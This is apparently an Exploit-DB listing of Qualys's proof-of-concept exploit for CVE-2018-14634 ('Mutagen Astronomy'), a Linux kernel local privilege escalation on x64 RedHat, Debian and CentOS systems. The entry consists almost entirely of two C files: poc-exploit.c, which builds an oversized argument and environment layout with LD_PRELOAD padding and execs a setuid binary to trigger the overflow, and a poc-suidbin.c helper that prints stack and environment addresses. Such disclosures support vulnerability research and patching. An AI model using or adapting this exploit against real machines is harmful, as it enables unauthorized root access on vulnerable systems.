Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) – ‘Mutagen Astronomy’ Local Privilege Escalation
/* EDB-Note: Systems with less than 32GB of RAM are unlikely to be affected by this issue, due to memory demands during exploitation. EDB Note: poc-exploit.c */ /* * poc-exploit.c for CVE-2018-14634 * Copyright (C) 2018 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <limits.h> #include <paths.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #define MAPCOUNT_ELF_CORE_MARGIN (5) #define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN) #define PAGESZ ((size_t)4096) #define MAX_ARG_STRLEN ((size_t)128 << 10) #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF) #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(void) { if (sizeof(size_t) != sizeof(uint64_t)) die(); const size_t alpha = 512; const size_t sprand = 8192; const size_t beta = (size_t)9 << 10; const size_t items = (size_t)1 << 31; const size_t offset = items * sizeof(uintptr_t); #define LLP "LD_LIBRARY_PATH=." static char preload_env[MAX_ARG_STRLEN]; { char * const sp = stpcpy(preload_env, "LD_PRELOAD="); char * cp = preload_env + sizeof(preload_env); size_t n; for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) { size_t i; for (i = n; i; i--) { *--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0'; cp -= sizeof(LLP)-1; memcpy(cp, LLP, sizeof(LLP)-1); } } memset(sp, ':', (size_t)(cp - sp)); if (memchr(preload_env, '\0', sizeof(preload_env)) != preload_env + sizeof(preload_env)-1) die(); } const char * const protect_envp[] = { preload_env, }; const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]); size_t _protect_envsz = 0; { size_t i; for (i = 0; i < protect_envc; i++) { _protect_envsz += strlen(protect_envp[i]) + 1; } } const size_t protect_envsz = _protect_envsz; const size_t scratch_envsz = (size_t)1 << 20; const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN; if (scratch_envsz % MAX_ARG_STRLEN) die(); static char scratch_env[MAX_ARG_STRLEN]; memset(scratch_env, ' ', sizeof(scratch_env)-1); const size_t onebyte_envsz = (size_t)256 << 10; const size_t onebyte_envc = onebyte_envsz / 1; const size_t padding_envsz = offset + alpha; /***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN; const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem; static char padding_env[MAX_ARG_STRLEN]; memset(padding_env, ' ', sizeof(padding_env)-1); static char padding_env1[MAX_ARG_STRLEN]; if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1); const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc; if (envc > MAX_ARG_STRINGS) die(); const size_t argc = items - (1 + 1 + envc + 1); if (argc > MAX_ARG_STRINGS) die(); const char * const protect_argv[] = { "./poc-suidbin", }; const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]); if (protect_argc >= argc) die(); size_t _protect_argsz = 0; { size_t i; for (i = 0; i < protect_argc; i++) { _protect_argsz += strlen(protect_argv[i]) + 1; } } const size_t protect_argsz = _protect_argsz; const size_t padding_argc = argc - protect_argc; const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 + protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2); const size_t padding_arg_len = padding_argsz / padding_argc; /***/ size_t padding_arg_rem = padding_argsz % padding_argc; if (padding_arg_len >= MAX_ARG_STRLEN) die(); if (padding_arg_len < 1) die(); static char padding_arg[MAX_ARG_STRLEN]; memset(padding_arg, ' ', padding_arg_len-1); static char padding_arg1[MAX_ARG_STRLEN]; memset(padding_arg1, ' ', padding_arg_len); const char ** const envp = calloc(envc + 1, sizeof(char *)); if (!envp) die(); { size_t envi = 0; size_t i; for (i = 0; i < protect_envc; i++) { envp[envi++] = protect_envp[i]; } for (i = 0; i < scratch_envc; i++) { envp[envi++] = scratch_env; } for (i = 0; i < onebyte_envc; i++) { envp[envi++] = ""; } for (i = 0; i < padding_envc; i++) { if (padding_env_rem) { envp[envi++] = padding_env1; padding_env_rem = 0; } else { envp[envi++] = padding_env; } } if (envi != envc) die(); if (envp[envc] != NULL) die(); if (padding_env_rem) die(); } const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1); const size_t filemap_nptr = filemap_size / sizeof(char *); char filemap_name[] = _PATH_TMP "argv.XXXXXX"; const int filemap_fd = mkstemp(filemap_name); if (filemap_fd <= -1) die(); if (unlink(filemap_name)) die(); { size_t i; for (i = 0; i < filemap_nptr; i++) { const char * const ptr = padding_arg; if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die(); } } { struct stat st; if (fstat(filemap_fd, &st)) die(); if ((size_t)st.st_size != filemap_size) die(); } const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (argv == MAP_FAILED) die(); if (protect_argc > PAGESZ / sizeof(char *)) die(); if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die(); { size_t argi = 0; { size_t i; for (i = 0; i < protect_argc; i++) { argv[argi++] = protect_argv[i]; } } { size_t n = padding_argc; while (n) { void * const argp = &argv[argi]; if (((uintptr_t)argp & (PAGESZ-1)) == 0) { if (padding_arg_rem || n < filemap_nptr) { if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die(); } else { if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die(); argi += filemap_nptr; n -= filemap_nptr; continue; } } if (padding_arg_rem) { argv[argi++] = padding_arg1; padding_arg_rem--; } else { argv[argi++] = padding_arg; } n--; } } if (argi != argc) die(); if (argv[argc] != NULL) die(); if (padding_arg_rem) die(); } { static const struct rlimit stack_limit = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY, }; if (setrlimit(RLIMIT_STACK, &stack_limit)) die(); } execve(argv[0], (char * const *)argv, (char * const *)envp); die(); } /* EDB Note: EOF poc-exploit.c */ /* EDB Note: poc-suidbin.c */ /* * poc-suidbin.c for CVE-2018-14634 * Copyright (C) 2018 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(const int argc, const char * const * const argv, const char * const * const envp) { printf("argc %d\n", argc); char stack = '\0'; printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp); #define LLP "LD_LIBRARY_PATH" const char * const llp = getenv(LLP); printf("getenv %p %s\n", llp, llp); const char * const * env; for (env = envp; *env; env++) { if (!strncmp(*env, LLP, sizeof(LLP)-1)) { printf("%p %s\n", *env, *env); } } exit(EXIT_SUCCESS); } /* EDB Note: EOF poc-suidbin.c */ |